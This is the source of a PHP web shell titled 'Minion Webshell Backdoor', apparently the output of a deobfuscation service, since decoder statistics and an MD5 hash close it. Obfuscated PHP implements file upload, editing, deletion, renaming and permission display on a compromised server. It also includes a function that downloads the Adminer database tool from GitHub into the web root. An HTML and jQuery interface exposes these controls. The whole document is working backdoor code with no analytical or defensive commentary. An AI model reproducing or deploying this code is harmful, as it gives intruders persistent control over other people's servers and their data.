N7H5c; dWkIp: $cnm1D .= $Osz0D & 0x2 ? "\x77" : "\x2d"; goto EkSEF; jY3FY: $cnm1D = "\165"; goto WC14t; N7H5c: $cnm1D .= $Osz0D & 0x8 ? $Osz0D & 0x400 ? "\163" : "\x78" : ($Osz0D & 0x400 ? "\x53" : "\x2d"); goto Pp48I; l86Y4: if (($Osz0D & 0x8000) == 0x8000) { goto sqm5B; } goto WzsvK; kx_JY: sqm5B: goto GoCDH; tQ6Hj: goto b3Uml; goto ht6rO; ctWx2: if (($Osz0D & 0xc000) == 0xc000) { goto dmlCw; } goto SbYVj; pCP2B: b3Uml: goto YK0Xi; MPjQd: goto b3Uml; goto Z61RW; YK0Xi: $cnm1D .= $Osz0D & 0x100 ? "\x72" : "\x2d"; goto z7mNk; q_v_N: $cnm1D = "\x70"; goto pCP2B; z7mNk: $cnm1D .= $Osz0D & 0x80 ? "\167" : "\x2d"; goto GgpGU; qDDj0: S9x6i: goto ove0j; GoCDH: $cnm1D = "\55"; goto UGXlE; i3DSG: $cnm1D = "\163"; goto tQ6Hj; q3gar: } goto Hc2Ir; UxgDN: exit; goto SFmYI; GmNfe: uJM4L: goto Of2V2; wDIT8: function checkWrite($BJiQl) { goto l9pTN; jin8f: goto KFcKH; goto pGfBL; pGfBL: Oit6W: goto nW90N; t4C7d: KFcKH: goto WNnav; nW90N: return 1; goto t4C7d; xXxL4: return 0; goto jin8f; l9pTN: if (is_writeable($BJiQl)) { goto Oit6W; } goto xXxL4; WNnav: } goto ZfjN4; wW8ba: $RcWjT = $wB7DX . basename($_FILES["\165\x70\x6c\157\x61\x64\116\x61\x6d\145"]["\156\141\155\145"]); goto swaeh; C2fq9: j_GtM: goto Odf9L; K1MIy: goto u9VxE; goto oUVxx; TKIPh: l7KuN: goto Y452Y; L4YWo: if (gantinama($QZJF9, $J_G98)) { goto W0XYH; } goto WuKse; Of2V2: echo 1; goto A3cZ7; p4Fv0: goto dCPij; goto WAgj1; h2DCf: function sizeFile($vP3Ci) { goto gYl1i; zI0qD: return number_format($LjEK4 / pow(1024, $AQQcf), 2, "\x2e", "\x2c") . "\x20" . $fkzvK[$AQQcf]; goto u_bSM; xAaGH: $fkzvK = array("\x42", "\x4b\102", "\x4d\x42", "\x47\x42", "\124\102", "\120\x42", "\105\102", "\x5a\102", "\x59\102"); goto TqQmf; TqQmf: $AQQcf = $LjEK4 > 0 ? floor(log($LjEK4, 1024)) : 0; goto zI0qD; gYl1i: $LjEK4 = filesize($vP3Ci); goto xAaGH; u_bSM: } goto F61e2; dHoGP: goto dnO0g; goto GmNfe; LDCMl: $NZQdB = $_POST["\164\145\x78\x74"]; goto IbREF; Hc2Ir: function getAdminer() { goto pplsO; hp3zB: curl_setopt($WTdo3, CURLOPT_FILE, $omEy9); goto b5Npu; DpHnA: $omEy9 = fopen($vutrm[1], "\x77"); goto R7CVX; g4m6v: curl_setopt($WTdo3, CURLOPT_RETURNTRANSFER, true); goto Kn1y6; R7CVX: $WTdo3 = curl_init(); goto B8u6n; r3QyG: Kk_qs: goto LL08t; nnAmR: ob_flush(); goto ODo89; LvU8F: $kRzpC = str_replace($_SERVER["\104\x4f\x43\x55\x4d\x45\x4e\124\x5f\122\x4f\x4f\x54"], '', currentPath()); goto kFdce; TRP6D: goto Kk_qs; goto V7gw3; kFdce: $vutrm = array("\x68\x74\x74\160\x73\72\57\57\x72\x61\167\56\147\x69\164\x68\165\142\165\x73\x65\x72\x63\x6f\x6e\164\145\156\x74\56\x63\x6f\x6d\x2f\x73\145\x63\x75\x72\x69\x74\171\x30\60\67\57\x61\x64\155\x69\156\145\x72\x2f\x6d\x61\x73\x74\145\162\x2f\x61\x64\155\x69\x6e\x65\162\56\160\x68\x70", "\x61\144\155\x69\x6e\x65\x72\x2e\160\x68\x70"); goto DpHnA; pplsO: if (!is_writable(currentPath())) { goto nWqSQ; } goto LvU8F; Kljx3: curl_setopt($WTdo3, CURLOPT_SSL_VERIFYHOST, false); goto hp3zB; Kn1y6: curl_setopt($WTdo3, CURLOPT_SSL_VERIFYPEER, false); goto Kljx3; B8u6n: curl_setopt($WTdo3, CURLOPT_URL, $vutrm[0]); goto uyv6i; sm0V6: echo "\x76\x61\x72\x20\x77\x69\156\40\x3d\40\167\151\156\144\x6f\x77\56\157\160\x65\x6e\50\140\150\164\x74\x70\72\57\57" . $_SERVER["\x48\124\124\120\x5f\110\x4f\x53\124"] . $kRzpC . "\57\x61\x64\155\151\156\145\x72\x2e\160\x68\160\140\x2c\x20\x27\x5f\x62\154\141\156\153\x27\x29\x3b\151\x66\x20\50\167\x69\156\x29\40\x7b\167\151\156\x2e\146\x6f\x63\165\163\x28\51\x3b\175\x20\x65\154\163\x65\x20\173\x61\154\x65\x72\x74\50\47\x50\x6c\x65\x61\x73\145\40\x61\154\x6c\157\167\40\160\x6f\x70\165\160\x73\x20\x66\157\162\40\164\150\x69\x73\40\167\x65\142\163\151\x74\x65\x27\x29\x3b\175"; goto mHoUH; QuknQ: echo "\x3c\x73\x63\x72\151\x70\x74\x3e\x61\154\145\x72\x74\x28\x60\124\x68\151\x73\40\144\151\162\x65\143\164\157\x72\x79\x20\156\x6f\164\x20\x77\x72\x69\164\141\142\x6c\145\x2e\x60\51\74\x2f\163\x63\x72\x69\x70\164\x3e"; goto r3QyG; uyv6i: curl_setopt($WTdo3, CURLOPT_BINARYTRANSFER, true); goto g4m6v; mHoUH: echo "\74\57\x73\x63\x72\x69\160\x74\76"; goto TRP6D; ODo89: flush(); goto Dh6wI; dV0gB: fclose($omEy9); goto nnAmR; Dh6wI: echo "\74\163\143\162\x69\160\164\x3e"; goto sm0V6; F9uTq: curl_close($WTdo3); goto dV0gB; b5Npu: curl_exec($WTdo3); goto F9uTq; V7gw3: nWqSQ: goto QuknQ; LL08t: } goto h2DCf; WAgj1: W0XYH: goto hwEPb; V1SJ4: if (!isset($_GET["\x65\x64\x69\164"])) { goto j_GtM; } goto LDCMl; lQZEy: if (!$_GET["\x66\x69\x6c\x65"]) { goto N_zR4; } goto pWtZ0; v3_nj: PX6C2:
//
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Minion Webshell Backdoor</title>
<script src="https://code.jquery.com/jquery-3.6.1.js" integrity="sha256-3zlB5s2uwoUzrXK3BT7AX3FyvojsraNFxCc2vC/7pNI=" crossorigin="anonymous"></script>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.min.js" integrity="sha384-IDwe1+LCz02ROU9k972gdyvl+AESN10+x7tBKgc9I5HFtuNz0wWnPclzo6p9vxnk" crossorigin="anonymous"></script>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Chakra+Petch:wght@300&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/font/bootstrap-icons.css">
<style>
*{
font-family: 'Chakra Petch', sans-serif;
color:silver;
}
a{
text-decoration:none;
}
body{
background-color:black;
}
</style>
</head>
<body>
<div class="container">
<div class="text-center">
<h1><a style="color:silver" href="<?= $_SERVER['PHP_SELF'];?>">Minion Webshell Backdoor</a></h1>
</div>
<p class="text-center"><?= php_uname(); ?><br><a class="text-white text-center" href="<?= $_SERVER['PHP_SELF']."?dir=".currentPath() ?>&adminer">[ADMINER DOWNLOAD]</a></p>
<span class="text-white">Current Path : <span style="color:silver"><?php linkPath(); ?></span></span>
<form class="mt-2" action="<?= $_SERVER['PHP_SELF']."?dir=".currentPath() ?>" enctype="multipart/form-data" method="post">
<div class="row">
<div class="col">
<input type="hidden" name="pth" value="<?= currentPath(); ?>">
<input class="form-control" type="file" name="uploadName">
</div>
<div class="col">
<button type="submit" class="btn btn-light">Upload</button>
</div>
</div>
</form>
<table id="dt" class="table table-bordered mt-2">
<tr class="bg-dark">
<th class="text-center">File/Folder</th>
<th class="text-center">Size</th>
<th class="text-center">Permission</th>
<th class="text-center">Action</th>
</tr>
<?php
if (checkRead(currentPath()) == 1){
foreach (listDir(currentPath()) as $listAll){
if (checkDir($listAll) == 1){
if($listAll != '.' && $listAll != '..'){
echo "<tr>";
echo "<td style='font-weight:bold;color:white'><i class='bi bi-folder'></i> <a style='color:white' href='?dir=".currentPath()."/".$listAll."'>$listAll</a></td>";
echo "<td class='text-center' style='font-weight:bold;color:white'>-</td>";
echo "<td style='font-weight:bold;color:white' class='text-center'>".perms($listAll)."</td>";
echo "<td class='text-center'><button class='btn btn-dark btn-sm' onclick='deleteF(`".currentPath()."/".$listAll."`)'>Delete</button> <button onclick='rename(`".$listAll."`)' class='btn btn-dark btn-sm'>Rename</button></td>";
}
}
}
foreach (listDir(currentPath()) as $listAll){
if (checkDir($listAll) == 0){
echo "<tr>";
echo "<td><i class='bi bi-file-earmark-code'></i> $listAll</td>";
echo "<td class='text-center'>".sizeFile($listAll)."</td>";
echo "<td class='text-center'>".perms($listAll)."</td>";
echo "<td class='text-center'><button class='btn btn-light btn-sm' onclick='editFile(`".currentPath()."/".$listAll."`)'>Edit</button> <button onclick='deleteF(`".currentPath()."/".$listAll."`)' class='btn btn-dark btn-sm'>Delete</button> <button onclick='rename(`".$listAll."`)' class='btn btn-dark btn-sm'>Rename</button></td>";
echo "</tr>";
}
}
}else{
echo "<tr>";
echo "<td colspan='4' class='text-danger text-center mt-2'>Not Readable !!</td>";
echo "</tr>";
}
?>
</table>
</div>
<!-- modal for edit file -->
<div class="modal" id="editModal" tabindex="-1">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">Edit <span id="f"></span></h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<input type="hidden" id="fName">
<textarea class="form-control" id="editFile" rows=10 ></textarea>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
<button type="button" class="btn btn-primary" id="save">Save changes</button>
</div>
</div>
</div>
</div>
<!-- rename -->
<div class="modal" id="renameModal" tabindex="-1">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">Rename <span id="f"></span></h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<input type="text" id="lama" name="lama" class="form-control" readonly>
<label for="" class="form-label">Rename To</label>
<input type="text" name="baru" id="baru" class="form-control">
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
<button type="button" class="btn btn-primary" id="rename">Save changes</button>
</div>
</div>
</div>
</div>
<script>
function editFile(filename){
$('#editFile').val("Loading...");
$.get("?file="+filename, function(data, status){
$('#editFile').val(data);
$('#fName').val(filename);
$('#f').text(filename);
});
$('#editModal').modal('show');
}
function rename(namalama){
var lama = namalama;
$('#lama').val(lama);
$('#renameModal').modal('show');
}
function deleteF(filename){
$.get("?delete="+filename, function(data, status){
if(data == 1){
alert("Deleted !!");
location.href='<?= $_SERVER['PHP_SELF']."?dir=".currentPath() ?>';
}else{
alert("Failed !!");
}
});
}
$(document).ready(function(){
$('#rename').click(function(){
var lama = $('#lama').val();
var baru = $('#baru').val();
var pat = "<?= currentPath() . "/" ?>";
$.ajax({
url: "?rename",
type:"post",
data: {
'lama':pat+lama,
'baru':pat+baru
},
success:function(response){
if (response == 1){
alert("Success rename");
location.href = '<?= $_SERVER['PHP_SELF']."?dir=".currentPath() ?>';
}else{
alert('Failed rename');
}
}
})
})
$('#save').click(function(){
var text = $('#editFile').val();
var path = $('#fName').val();
$.ajax({
url: "?edit",
type: "post",
data: {
'text':text,
'path':path
} ,
success: function (response) {
if (response == 1){
alert("Success edit data");
location.href = '<?= $_SERVER['PHP_SELF']."?dir=".currentPath() ?>';
}else{
alert("Failed to edit data");
}
},
});
})
})
</script>
</body>
</html>
Function Calls
None |
Stats
MD5 | de36ac44f002a6c82173011f2618bf37 |
Eval Count | 0 |
Decode Time | 59 ms |